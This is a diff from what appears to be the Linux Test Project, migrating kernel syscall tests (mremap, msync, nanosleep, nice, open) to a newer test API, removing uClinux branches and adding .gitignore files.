+++ b/testcases/kernel/syscalls/mremap/.gitignore
@@ -0,0 +1,5 @@
+/mremap01
+/mremap02
+/mremap03
+/mremap04
+/mremap05
diff --git a/testcases/kernel/syscalls/mremap/mremap03.c b/testcases/kernel/syscalls/mremap/mremap03.c
index 12e3829..4c9c7b0 100644
--- a/testcases/kernel/syscalls/mremap/mremap03.c
+++ b/testcases/kernel/syscalls/mremap/mremap03.c
@@ -84,14 +84,14 @@
 
 char *TCID = "mremap03";
 int TST_TOTAL = 1;
-char *addr;			/* addr of memory mapped region */
+static char *bad_addr;
+static char *addr;		/* addr of memory mapped region */
 int memsize;			/* memory mapped size */
 int newsize;			/* new size of virtual memory block */
 
 void setup();			/* Main setup function of test */
 void cleanup();			/* cleanup function for the test */
 
-#if !defined(UCLINUX)
 int main(int ac, char **av)
 {
 	int lc;
@@ -107,11 +107,11 @@
 		/*
 		 * Attempt to expand the existing mapped
 		 * memory region (memsize) by newsize limits
-		 * using mremap() should fail as specifed old
+		 * using mremap() should fail as specified old
 		 * virtual address was not mapped.
 		 */
 		errno = 0;
-		addr = mremap(addr, memsize, newsize, MREMAP_MAYMOVE);
+		addr = mremap(bad_addr, memsize, newsize, MREMAP_MAYMOVE);
 		TEST_ERRNO = errno;
 
 		/* Check for the return value of mremap() */
@@ -173,7 +173,7 @@
 	 * Set the old virtual address point to some address
 	 * which is not mapped.
 	 */
-	addr = (char *)get_high_address();
+	bad_addr = tst_get_bad_addr(cleanup);
 }
 
 /*
@@ -186,13 +186,3 @@
 	/* Exit the program */
 
 }
-
-#else
-
-int main(void)
-{
-	tst_resm(TINFO, "test is not available on uClinux");
-	tst_exit();
-}
-
-#endif /* if !defined(UCLINUX) */
diff --git a/testcases/kernel/syscalls/mremap/mremap05.c b/testcases/kernel/syscalls/mremap/mremap05.c
index d7e4e63..5e8cda5 100644
--- a/testcases/kernel/syscalls/mremap/mremap05.c
+++ b/testcases/kernel/syscalls/mremap/mremap05.c
@@ -53,7 +53,7 @@
 	size_t old_size;	/* in pages */
 	size_t new_size;	/* in pages */
 	int flags;
-	const const char *msg;
+	const char *msg;
 	void *exp_ret;
 	int exp_errno;
 	char *ret;
diff --git a/testcases/kernel/syscalls/msync/.gitignore b/testcases/kernel/syscalls/msync/.gitignore
new file mode 100644
index 0000000..b67def4
--- /dev/null
+++ b/testcases/kernel/syscalls/msync/.gitignore
@@ -0,0 +1,4 @@
+/msync01
+/msync02
+/msync03
+/msync04
diff --git a/testcases/kernel/syscalls/msync/msync03.c b/testcases/kernel/syscalls/msync/msync03.c
index 2e072ca..f504ed1 100644
--- a/testcases/kernel/syscalls/msync/msync03.c
+++ b/testcases/kernel/syscalls/msync/msync03.c
@@ -57,10 +57,7 @@
 static char *addr1;
 static char *addr2;
 static char *addr3;
-
-#if !defined(UCLINUX)
 static char *addr4;
-#endif
 
 static size_t page_sz;
 
@@ -74,9 +71,7 @@
 	{ &addr1, INV_SYNC, EINVAL },
 	{ &addr2, MS_SYNC, EINVAL },
 	{ &addr3, MS_SYNC, EINVAL },
-#if !defined(UCLINUX)
 	{ &addr4, MS_SYNC, ENOMEM },
-#endif
 };
 
 static void msync_verify(struct test_case_t *tc);
@@ -135,10 +130,8 @@
 	SAFE_GETRLIMIT(NULL, RLIMIT_DATA, &rl);
 	addr3 = (char *)rl.rlim_max;
 
-#if !defined(UCLINUX)
 	/* memory pointed to by addr4 was not mapped */
-	addr4 = get_high_address();
-#endif
+	addr4 = sbrk(0) + (4 * page_sz);
 }
 
 static void msync_verify(struct test_case_t *tc)
diff --git a/testcases/kernel/syscalls/munlock/.gitignore b/testcases/kernel/syscalls/munlock/.gitignore
new file mode 100644
index 0000000..353f5d9
--- /dev/null
+++ b/testcases/kernel/syscalls/munlock/.gitignore
@@ -0,0 +1,2 @@
+/munlock01
+/munlock02
diff --git a/testcases/kernel/syscalls/munlockall/.gitignore b/testcases/kernel/syscalls/munlockall/.gitignore
new file mode 100644
index 0000000..b45b4ad
--- /dev/null
+++ b/testcases/kernel/syscalls/munlockall/.gitignore
@@ -0,0 +1 @@
+/munlockall01
diff --git a/testcases/kernel/syscalls/munlockall/munlockall02.c b/testcases/kernel/syscalls/munlockall/munlockall02.c
deleted file mode 100644
index f979054..0000000
--- a/testcases/kernel/syscalls/munlockall/munlockall02.c
+++ /dev/null
@@ -1,157 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/**************************************************************************
- *
- *    TEST IDENTIFIER	: munlockall02
- *
- *    EXECUTED BY	: root / superuser
- *
- *    TEST TITLE	: test for EPERM error value when run as non superuser
- *
- *    TEST CASE TOTAL	: 1
- *
- *    AUTHOR		: sowmya adiga<sowmya.adiga@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	Verify munlockall(2) returns -1 and sets errno to EPERM
- *	if the effective userid of the caller is not super-user.
- *	$
- * 	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *        Change effective user id to "nobody" user
- *     $
- * 	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1) &&
- *	                    (errno set == expected errno)
- *	 Issue sys call pass with expected return value and errno.
- *	 otherwise,
- *	  Issue sys call fails with unexpected errno.
- *
- *
- * 	Cleanup:
- *      change effective user id to root
- * 	Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  munlockall02 [-c n] [-e] [-i n] [-I x] [-p x] [-t]
- *		where,		-c n : Run n copies concurrently
- *				-e   : Turn on errno logging.
- *				-h   : Show this help screen
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *                      	-P x : Pause for x seconds between iterations.
- *                       	 t   : Turn on syscall timing.
- *
- *
- *****************************************************************************/
-#include <errno.h>
-#include <pwd.h>
-#include <sys/mman.h>
-#include "test.h"
-#include "safe_macros.h"
-
-void setup();
-void cleanup();
-
-char *TCID = "munlockall02";
-int TST_TOTAL = 1;
-
-static char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-#if !defined(UCLINUX)
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	/* check looping state */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(munlockall());
-		/* check return code */
-		if ((TEST_RETURN == -1) && (TEST_ERRNO == EPERM)) {
-			tst_resm(TPASS, "munlockall() failed"
-				 " as expected for non-superuser" ":GOT EPERM");
-		} else {
-			tst_resm(TCONF, "munlockall() failed to produce "
-				 "expected errno :%d Got : %d, %s. ***Some distros, such as Red Hat Enterprise Linux, support non-superuser munlockall calls.***",
-				 EPERM, TEST_ERRNO, strerror(TEST_ERRNO));
-
-		}
-	}
-
-	/* cleanup and exit */
-	cleanup();
-	tst_exit();
-
-}
-
-/* setup() - performs all ONE TIME setup for this test. */
-void setup(void)
-{
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	/* switch to nobody user */
-	if ((ltpuser = getpwnam(nobody_uid)) == NULL) {
-		tst_brkm(TBROK, NULL, "\"nobody\"user not present");
-	}
-
-	SAFE_SETEUID(NULL, ltpuser->pw_uid);
-
-	TEST_PAUSE;
-}
-
-#else
-
-int main(void)
-{
-	tst_resm(TINFO, "test is not available on uClinux");
-	tst_exit();
-}
-
-#endif /* if !defined(UCLINUX) */
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-	if (seteuid(0) == -1) {
-		tst_resm(TWARN, "seteuid failed to "
-			 "to set the effective uid to root");
-		perror("setuid");
-	}
-
-}
diff --git a/testcases/kernel/syscalls/munmap/.gitignore b/testcases/kernel/syscalls/munmap/.gitignore
new file mode 100644
index 0000000..94d8c10
--- /dev/null
+++ b/testcases/kernel/syscalls/munmap/.gitignore
@@ -0,0 +1,3 @@
+/munmap01
+/munmap02
+/munmap03
diff --git a/testcases/kernel/syscalls/nanosleep/.gitignore b/testcases/kernel/syscalls/nanosleep/.gitignore
new file mode 100644
index 0000000..11ed6bb
--- /dev/null
+++ b/testcases/kernel/syscalls/nanosleep/.gitignore
@@ -0,0 +1,4 @@
+/nanosleep01
+/nanosleep02
+/nanosleep03
+/nanosleep04
diff --git a/testcases/kernel/syscalls/nanosleep/nanosleep01.c b/testcases/kernel/syscalls/nanosleep/nanosleep01.c
index bcec1f8..96e1cf1 100644
--- a/testcases/kernel/syscalls/nanosleep/nanosleep01.c
+++ b/testcases/kernel/syscalls/nanosleep/nanosleep01.c
@@ -37,9 +37,9 @@
 	tst_timer_stop();
 	tst_timer_sample();
 
-	if (TEST_RETURN != 0) {
+	if (TST_RET != 0) {
 		tst_res(TFAIL | TERRNO,
-			"nanosleep() returned %li", TEST_RETURN);
+			"nanosleep() returned %li", TST_RET);
 		return 1;
 	}
 
diff --git a/testcases/kernel/syscalls/nanosleep/nanosleep02.c b/testcases/kernel/syscalls/nanosleep/nanosleep02.c
index 42c8251..8bd2c44 100644
--- a/testcases/kernel/syscalls/nanosleep/nanosleep02.c
+++ b/testcases/kernel/syscalls/nanosleep/nanosleep02.c
@@ -1,21 +1,8 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  *  07/2001 Ported by Wayne Boyer
  * Copyright (C) Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software Foundation,
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
@@ -26,24 +13,10 @@
  */
 
 #include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <signal.h>
-#include <time.h>
-#include <sys/wait.h>
-#include <sys/time.h>
-#include <stdint.h>
-#include <inttypes.h>
 
-#include "test.h"
-#include "safe_macros.h"
-
-char *TCID = "nanosleep02";
-int TST_TOTAL = 1;
-
-static void do_child(void);
-static void setup(void);
-static void sig_handler();
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_macros.h"
 
 /*
  * Define here the "rem" precision in microseconds,
@@ -57,50 +30,6 @@
  */
 #define USEC_PRECISION 250000	/* Error margin allowed in usec */
 
-int main(int ac, char **av)
-{
-	int lc;
-	pid_t cpid;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-#ifdef UCLINUX
-	maybe_run_child(&do_child, "");
-#endif
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		if ((cpid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, NULL,
-				 "fork() failed to create child process");
-		}
-
-		if (cpid == 0) {
-#ifdef UCLINUX
-			if (self_exec(av[0], "")) {
-				tst_brkm(TBROK, NULL, "self_exec failed");
-			}
-#else
-			do_child();
-#endif
-		}
-
-		/* wait for child to time slot for execution */
-		sleep(1);
-
-		/* Now send signal to child */
-		SAFE_KILL(NULL, cpid, SIGINT);
-
-		tst_record_childstatus(NULL, cpid);
-	}
-
-	tst_exit();
-}
-
 static void do_child(void)
 {
 	struct timespec timereq = {.tv_sec = 5, .tv_nsec = 9999};
@@ -110,42 +39,57 @@
 	TEST(nanosleep(&timereq, &timerem));
 	tst_timer_stop();
 
-	if (tst_timespec_lt(timereq, tst_timer_elapsed())) {
-		tst_resm(TFAIL, "nanosleep() slept more than timereq");
-		return;
-	}
+	if (!TST_RET)
+		tst_brk(TBROK, "nanosleep was not interrupted");
+	if (TST_ERR != EINTR)
+		tst_brk(TBROK | TTERRNO, "nanosleep() failed");
+
+	if (tst_timespec_lt(timereq, tst_timer_elapsed()))
+		tst_brk(TFAIL, "nanosleep() slept more than timereq");
 
 	exp_rem = tst_timespec_diff(timereq, tst_timer_elapsed());
 
 	if (tst_timespec_abs_diff_us(timerem, exp_rem) > USEC_PRECISION) {
-		tst_resm(TFAIL,
-		         "nanosleep() remaining time %llius, expected %llius, diff %llius",
-			 tst_timespec_to_us(timerem), tst_timespec_to_us(exp_rem),
-			 tst_timespec_abs_diff_us(timerem, exp_rem));
+		tst_res(TFAIL,
+			"nanosleep() remaining time %llius, expected %llius, diff %llius",
+			tst_timespec_to_us(timerem), tst_timespec_to_us(exp_rem),
+			tst_timespec_abs_diff_us(timerem, exp_rem));
 	} else {
-		tst_resm(TPASS,
-		         "nanosleep() slept for %llius, remaining time difference %llius",
-			 tst_timer_elapsed_us(),
-		         tst_timespec_abs_diff_us(timerem, exp_rem));
+		tst_res(TPASS,
+			"nanosleep() slept for %llius, remaining time difference %llius",
+			tst_timer_elapsed_us(),
+			tst_timespec_abs_diff_us(timerem, exp_rem));
 	}
+}
 
-	tst_exit();
+void run(void)
+{
+	pid_t cpid;
+
+	cpid = SAFE_FORK();
+	if (cpid == 0) {
+		do_child();
+	} else {
+		sleep(1);
+
+		SAFE_KILL(cpid, SIGINT);
+
+		tst_reap_children();
+	}
+}
+
+static void sig_handler(int si LTP_ATTRIBUTE_UNUSED)
+{
 }
 
 static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, NULL);
-
 	tst_timer_check(CLOCK_MONOTONIC);
-
-	TEST_PAUSE;
-
-	if (signal(SIGINT, sig_handler) == SIG_ERR) {
-		tst_brkm(TBROK, NULL,
-			 "signal() fails to setup signal handler");
-	}
+	SAFE_SIGNAL(SIGINT, sig_handler);
 }
 
-static void sig_handler(void)
-{
-}
+static struct tst_test test = {
+	.forks_child = 1,
+	.setup = setup,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/newuname/.gitignore b/testcases/kernel/syscalls/newuname/.gitignore
new file mode 100644
index 0000000..08bd534
--- /dev/null
+++ b/testcases/kernel/syscalls/newuname/.gitignore
@@ -0,0 +1 @@
+/newuname01
diff --git a/testcases/kernel/syscalls/nftw/.gitignore b/testcases/kernel/syscalls/nftw/.gitignore
new file mode 100644
index 0000000..443a90b
--- /dev/null
+++ b/testcases/kernel/syscalls/nftw/.gitignore
@@ -0,0 +1,2 @@
+/nftw01
+/nftw6401
diff --git a/testcases/kernel/syscalls/nice/.gitignore b/testcases/kernel/syscalls/nice/.gitignore
new file mode 100644
index 0000000..9d7a1bb
--- /dev/null
+++ b/testcases/kernel/syscalls/nice/.gitignore
@@ -0,0 +1,4 @@
+/nice01
+/nice02
+/nice03
+/nice04
diff --git a/testcases/kernel/syscalls/nice/nice01.c b/testcases/kernel/syscalls/nice/nice01.c
index fede2c7..82791a5 100644
--- a/testcases/kernel/syscalls/nice/nice01.c
+++ b/testcases/kernel/syscalls/nice/nice01.c
@@ -39,13 +39,13 @@
 
 	TEST(nice(NICEINC));
 
-	if (TEST_RETURN != (orig_nice + NICEINC)) {
+	if (TST_RET != (orig_nice + NICEINC)) {
 		tst_res(TFAIL | TTERRNO, "nice(%d) returned %li, expected %i",
-		        NICEINC, TEST_RETURN, orig_nice + NICEINC);
+			NICEINC, TST_RET, orig_nice + NICEINC);
 		return;
 	}
 
-	if (TEST_ERRNO) {
+	if (TST_ERR) {
 		tst_res(TFAIL | TTERRNO, "nice(%d) failed", NICEINC);
 		return;
 	}
@@ -61,7 +61,7 @@
 	tst_res(TPASS, "nice(%d) passed", NICEINC);
 
 	TEST(nice(-NICEINC));
-	if (TEST_ERRNO)
+	if (TST_ERR)
 		tst_brk(TBROK | TERRNO, "nice(-NICEINC) failed");
 }
 
diff --git a/testcases/kernel/syscalls/nice/nice02.c b/testcases/kernel/syscalls/nice/nice02.c
index 6ae70f8..03fd171 100644
--- a/testcases/kernel/syscalls/nice/nice02.c
+++ b/testcases/kernel/syscalls/nice/nice02.c
@@ -38,12 +38,12 @@
 
 	TEST(nice(NICEINC));
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "nice(%d) returned -1", NICEINC);
 		return;
 	}
 
-	if (TEST_ERRNO) {
+	if (TST_ERR) {
 		tst_res(TFAIL | TTERRNO, "nice(%d) failed", NICEINC);
 		return;
 	}
@@ -59,7 +59,7 @@
 	tst_res(TPASS, "nice(%d) passed", NICEINC);
 
 	TEST(nice(DEFAULT_PRIO));
-	if (TEST_ERRNO)
+	if (TST_ERR)
 		tst_brk(TBROK | TERRNO, "nice(-NICEINC) failed");
 }
 
diff --git a/testcases/kernel/syscalls/nice/nice03.c b/testcases/kernel/syscalls/nice/nice03.c
index 7c41e28..1720017 100644
--- a/testcases/kernel/syscalls/nice/nice03.c
+++ b/testcases/kernel/syscalls/nice/nice03.c
@@ -39,12 +39,12 @@
 
 	TEST(nice(NICEINC));
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "nice(%d) returned -1", NICEINC);
 		return;
 	}
 
-	if (TEST_ERRNO) {
+	if (TST_ERR) {
 		tst_res(TFAIL | TTERRNO, "nice(%d) failed", NICEINC);
 		return;
 	}
diff --git a/testcases/kernel/syscalls/nice/nice04.c b/testcases/kernel/syscalls/nice/nice04.c
index 07ad21e..56d76f8 100644
--- a/testcases/kernel/syscalls/nice/nice04.c
+++ b/testcases/kernel/syscalls/nice/nice04.c
@@ -32,13 +32,13 @@
 {
 	TEST(nice(NICEINC));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "nice(%i) succeded unexpectedly (returned %li)",
-			NICEINC, TEST_RETURN);
+			NICEINC, TST_RET);
 		return;
 	}
 
-	if (TEST_ERRNO != EPERM) {
+	if (TST_ERR != EPERM) {
 		tst_res(TFAIL | TTERRNO, "nice(%i) should fail with EPERM",
 			NICEINC);
 		return;
diff --git a/testcases/kernel/syscalls/open/.gitignore b/testcases/kernel/syscalls/open/.gitignore
new file mode 100644
index 0000000..4309e3a
--- /dev/null
+++ b/testcases/kernel/syscalls/open/.gitignore
@@ -0,0 +1,15 @@
+/open01
+/open02
+/open03
+/open04
+/open05
+/open06
+/open07
+/open08
+/open09
+/open10
+/open11
+/open12
+/open12_child
+/open13
+/open14
diff --git a/testcases/kernel/syscalls/open/open01.c b/testcases/kernel/syscalls/open/open01.c
index 43305b2..cecb77e 100644
--- a/testcases/kernel/syscalls/open/open01.c
+++ b/testcases/kernel/syscalls/open/open01.c
@@ -59,7 +59,7 @@
 	struct stat buf;
 
 	TEST(open(tc->filename, tc->flag, tc->mode));
-	fd = TEST_RETURN;
+	fd = TST_RET;
 	if (fd == -1) {
 		tst_res(TFAIL, "Cannot open a file");
 		return;
diff --git a/testcases/kernel/syscalls/open/open02.c b/testcases/kernel/syscalls/open/open02.c
index f09bfe0..4b1f5b4 100644
--- a/testcases/kernel/syscalls/open/open02.c
+++ b/testcases/kernel/syscalls/open/open02.c
@@ -63,13 +63,13 @@
 
 	TEST(open(tc->filename, tc->flag, 0444));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "open(%s) succeeded unexpectedly",
 			tc->filename);
 		return;
 	}
 
-	if (tc->exp_errno != TEST_ERRNO) {
+	if (tc->exp_errno != TST_ERR) {
 		tst_res(TFAIL | TTERRNO,
 			"open() should fail with %s",
 			tst_strerrno(tc->exp_errno));
diff --git a/testcases/kernel/syscalls/open/open08.c b/testcases/kernel/syscalls/open/open08.c
index d55d8e6..fb19a80 100644
--- a/testcases/kernel/syscalls/open/open08.c
+++ b/testcases/kernel/syscalls/open/open08.c
@@ -1,5 +1,6 @@
 /*
  *   Copyright (c) 2013 Wanlong Gao <gaowanlong@cn.fujitsu.com>
+ *   Copyright (c) 2018 Linux Test Project
  *
  *   This program is free software;  you can redistribute it and/or modify
  *   it under the terms of the GNU General Public License as published by
@@ -39,12 +40,12 @@
  *	4. Attempt to open() a filename which is more than VFS_MAXNAMLEN, and
  *	   check for errno to be ENAMETOOLONG.
  *
- *	5. Attempt to open a test executable in WRONLY mode,
+ *	5. Attempt to open a (0600) file owned by different user in WRONLY mode,
  *	   open(2) should fail with EACCES.
  *
  *	6. Attempt to pass an invalid pathname with an address pointing outside
- *	   the address space of the process, as the argument to open(), and
- *	   expect to get EFAULT.
+ *	   the accessible address space of the process, as the argument to open(),
+ *	   and expect to get EFAULT.
  */
 
 #define _GNU_SOURCE		/* for O_DIRECTORY */
@@ -56,113 +57,76 @@
 #include <fcntl.h>
 #include <signal.h>
 #include <pwd.h>
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "tst_get_bad_addr.h"
 
-static void setup(void);
-static void cleanup(void);
+static char *existing_fname = "open08_testfile";
+static char *toolong_fname = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyz";
+static char *dir_fname = "/tmp";
+static char *user2_fname = "user2_0600";
+static char *unmapped_fname;
 
-char *TCID = "open08";
-
-static char nobody_uid[] = "nobody";
-static struct passwd *ltpuser;
-
-static char *bad_addr;
-
-static char filename[40] = "";
-static char fname[] = "/bin/cat";
-static char bad_file[] = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyz";
+struct test_case_t;
 
 static struct test_case_t {
-	char *fname;
+	char **fname;
 	int flags;
 	int error;
-} TC[] = {
-	{filename, O_CREAT | O_EXCL, EEXIST},
-	{"/tmp", O_RDWR, EISDIR},
-	{filename, O_DIRECTORY, ENOTDIR},
-	{bad_file, O_RDWR, ENAMETOOLONG},
-	{fname, O_WRONLY, EACCES},
-#if !defined(UCLINUX)
-	{(char *)-1, O_CREAT, EFAULT}
-#endif
+} tcases[] = {
+	{&existing_fname, O_CREAT | O_EXCL, EEXIST},
+	{&dir_fname, O_RDWR, EISDIR},
+	{&existing_fname, O_DIRECTORY, ENOTDIR},
+	{&toolong_fname, O_RDWR, ENAMETOOLONG},
+	{&user2_fname, O_WRONLY, EACCES},
+	{&unmapped_fname, O_CREAT, EFAULT}
 };
 
-int TST_TOTAL = sizeof(TC) / sizeof(TC[0]);
-
-int main(int ac, char **av)
+void verify_open(unsigned int i)
 {
-	int lc;
-	int i;
+	TEST(open(*tcases[i].fname, tcases[i].flags,
+		S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH));
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(open(TC[i].fname, TC[i].flags,
-				  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error) {
-				tst_resm(TPASS, "expected failure - "
-					 "errno = %d : %s", TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL, "unexpected error - %d : %s - "
-					 "expected %d", TEST_ERRNO,
-					 strerror(TEST_ERRNO), TC[i].error);
-			}
-		}
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "call succeeded unexpectedly");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TST_ERR == tcases[i].error) {
+		tst_res(TPASS, "expected failure - "
+				"errno = %d : %s", TST_ERR,
+				strerror(TST_ERR));
+	} else {
+		tst_res(TFAIL, "unexpected error - %d : %s - "
+				"expected %d", TST_ERR,
+				strerror(TST_ERR), tcases[i].error);
+	}
 }
 
 static void setup(void)
 {
 	int fildes;
-
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	char nobody_uid[] = "nobody";
+	struct passwd *ltpuser;
 
 	umask(0);
 
-	TEST_PAUSE;
+	SAFE_CREAT(user2_fname, 0600);
 
 	/* Switch to nobody user for correct error code collection */
 	ltpuser = getpwnam(nobody_uid);
-	SAFE_SETGID(NULL, ltpuser->pw_gid);
-	SAFE_SETUID(NULL, ltpuser->pw_uid);
+	SAFE_SETGID(ltpuser->pw_gid);
+	SAFE_SETUID(ltpuser->pw_uid);
 
-	tst_tmpdir();
-
-	sprintf(filename, "open3.%d", getpid());
-
-	fildes = SAFE_CREAT(cleanup, filename, 0600);
-
+	fildes = SAFE_CREAT(existing_fname, 0600);
 	close(fildes);
 
-#if !defined(UCLINUX)
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED)
-		tst_brkm(TBROK, cleanup, "mmap failed");
-
-	TC[5].fname = bad_addr;
-#endif
+	unmapped_fname = tst_get_bad_addr(NULL);
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.setup = setup,
+	.test = verify_open,
+};
diff --git a/testcases/kernel/syscalls/open/open10.c b/testcases/kernel/syscalls/open/open10.c
index 23cfaf1..14feec9 100644
--- a/testcases/kernel/syscalls/open/open10.c
+++ b/testcases/kernel/syscalls/open/open10.c
@@ -114,15 +114,9 @@
 			}
 		}
 		group1_gid = group->gr_gid;
-#ifdef ANDROID
-		group = getgrnam("everybody");
-		if (group == NULL)
-			tst_brkm(TBROK, cleanup, "everybody not in /etc/group");
-#else
 		group = getgrnam("bin");
 		if (group == NULL)
 			tst_brkm(TBROK, cleanup, "bin not in /etc/group");
-#endif
 
 		group2_gid = group->gr_gid;
 
diff --git a/testcases/kernel/syscalls/open/open11.c b/testcases/kernel/syscalls/open/open11.c
index 78002f3..cfd04fd 100644
--- a/testcases/kernel/syscalls/open/open11.c
+++ b/testcases/kernel/syscalls/open/open11.c
@@ -1,28 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (C) 2013 Red Hat, Inc.
  *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of version 2 of the GNU General Public
- * License as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it
- * is free of the rightful claim of any third person regarding
- * infringement or the like.  Any license provided herein, whether
- * implied or otherwise, applies only to this software file.  Patent
- * licenses, if any, provided herein do not apply to combinations of
- * this program with other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
- */
-
-/*
  * Basic tests for open(2) and make sure open(2) works and handles error
  * conditions correctly.
  *
@@ -60,25 +39,16 @@
  */
 
 #define _GNU_SOURCE
-#include "config.h"
+#include <errno.h>
+#include <sys/sysmacros.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/sysmacros.h>
-#include <sys/wait.h>
-#include <errno.h>
 #include <fcntl.h>
 #include <unistd.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
-char *TCID = "open11";
-
-/* Define test files */
+#define MNTPOINT "mntpoint"
 #define T_REG "t_reg"			/* regular file with content */
 #define T_REG_EMPTY "t_reg_empty"	/* empty regular file */
 #define T_LINK_REG "t_link_reg"		/* hard link to T_REG */
@@ -86,24 +56,18 @@
 #define T_SYMLINK_REG "t_symlink_reg"	/* symlink to T_REG */
 #define T_DIR "t_dir"			/* test dir */
 #define T_SYMLINK_DIR "t_symlink_dir"	/* symlink to T_DIR */
-#define T_DEV "t_dev"			/* test device special file */
+#define T_DEV MNTPOINT"/t_dev"		/* test device special file */
 
 #define T_MSG "this is a test string"
 
-static void setup(void);
-static void cleanup(void);
-
-struct test_case {
+static struct test_case {
 	char *desc;
 	char *path;
 	int flags;
 	mode_t mode;
 	int err;
-};
-struct test_case tc[] = {
-	/*
-	 * Test open(2) regular file
-	 */
+} tc[] = {
+	/* Test open(2) regular file */
 	{	/* open regular file O_RDONLY */
 		.desc = "Open regular file O_RDONLY",
 		.path = T_REG_EMPTY,
@@ -139,9 +103,7 @@
 		.mode = 0644,
 		.err = 0,
 	},
-	/*
-	 * Test open(2) directory
